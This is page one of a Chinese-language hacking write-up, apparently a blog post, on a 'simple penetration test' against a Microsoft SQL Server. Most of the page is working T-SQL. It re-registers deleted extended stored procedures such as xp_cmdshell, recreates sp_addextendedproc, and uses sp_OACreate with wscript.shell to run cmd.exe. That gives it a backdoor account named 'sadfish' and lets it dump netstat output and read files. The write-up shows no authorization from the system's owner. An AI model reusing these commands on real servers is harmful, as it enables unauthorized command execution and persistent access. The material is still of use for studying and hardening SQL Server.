[攻防手记]记一次简单的渗透测试(图)

    于是马上想到恢复存储过程来执行命令，于是在查询分析器里执行:
    use master 
    exec sp_addextendedproc xp_cmdshell,’xp_cmdshell.dll’ 
    exec sp_addextendedproc xp_dirtree,’xpstar.dll’ 
    exec sp_addextendedproc xp_enumgroups,’xplog70.dll’ 
    exec sp_addextendedproc xp_fixeddrives,’xpstar.dll’ 
    exec sp_addextendedproc xp_loginconfig,’xplog70.dll’ 
    exec sp_addextendedproc xp_enumerrorlogs,’xpstar.dll’ 
    exec sp_addextendedproc xp_getfiledetails,’xpstar.dll’ 
    exec sp_addextendedproc sp_OACreate,’odsole70.dll’ 
    exec sp_addextendedproc sp_OADestroy,’odsole70.dll’ 
    exec sp_addextendedproc sp_OAGetErrorInfo,’odsole70.dll’ 
    exec sp_addextendedproc sp_OAGetProperty,’odsole70.dll’ 
    exec sp_addextendedproc sp_OAMethod,’odsole70.dll’ 
    exec sp_addextendedproc sp_OASetProperty,’odsole70.dll’ 
    exec sp_addextendedproc sp_OAStop,’odsole70.dll’ 
    exec sp_addextendedproc xp_regaddmultistring,’xpstar.dll’ 
    exec sp_addextendedproc xp_regdeletekey,’xpstar.dll’ 
    exec sp_addextendedproc xp_regdeletevalue,’xpstar.dll’ 
    exec sp_addextendedproc xp_regenumvalues,’xpstar.dll’ 
    exec sp_addextendedproc xp_regread,’xpstar.dll’ 
    exec sp_addextendedproc xp_regremovemultistring,’xpstar.dll’ 
    exec sp_addextendedproc xp_regwrite,’xpstar.dll’ 
    exec sp_addextendedproc xp_availablemedia,’xpstar.dll’
    就是将以上的存储过程全部恢复，但是在执行的时候却提示没能找到sp_addextendedproc
原来管理员把sp_addextendedproc也删了。

图3

    于是只能先恢复sp_addextendedproc，语句如下：

    create procedure sp_addextendedproc --- 1996/08/30 20:13
    @functname nvarchar(517),/* (owner.)name of function to call */
    @dllname varchar(255)/* name of DLL containing function */
    as
    set implicit_transactions off
    if @@trancount > 0
    begin
    raiserror(15002,-1,-1,’sp_addextendedproc’)
    return (1)
    end
    dbcc addextendedproc( @functname, @dllname)
    return (0) -- sp_addextendedproc
    GO 

图4

    执行成功，然后恢复存储过程，成功恢复了所用存储过，但是在执行exec master.dbo.xp_cmdshell ’net user’
的时候却提示：
    ODBC：消息 0，级别 16，状态 1，无法装载 DLL xp_cmdshell.dll 或该 DLL 所引用的某一 DLL。
原因：126(error not found)。
    原来管理员把DLL 都删了。然后又想能不能使用SP_OAcreate来加个管理员呢？

   于是在查询分析器里执行：
    DECLARE @shell INT EXEC SP_OAcreate ’wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD
@shell,’run’,null, ’C:\WINdows\system32\cmd.exe /c net user sadfish fish /add’

    来添加个密码用户为sadfish的管理员，提示命令完成，于是马上执行：
DECLARE @shell INT EXEC SP_OAcreate ’wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD @shell,’run’,null, ’C:\WINdows\system32\cmd.exe /c netstat -an >c:\1.txt’  就是把netstat -an的结果显示在1.txt里保存在c:\，提示成功。
    然后继续使用：
    declare @o int, @f int, @t int, @ret int
    declare @line varchar(8000)
    exec sp_oacreate ’scripting.filesystemobject’, @o out
    exec sp_oamethod @o, ’opentextfile’, @f out, ’c:\1.txt’, 1
    exec @ret = sp_oamethod @f, ’readline’, @line out
    while( @ret = 0 )
    begin
    print @line
    exec @ret = sp_oamethod @f, ’readline’, @line out
    end
    来读取1.txt里的内容，但是却发现不存在1.txt。

图5 

1 2 下一页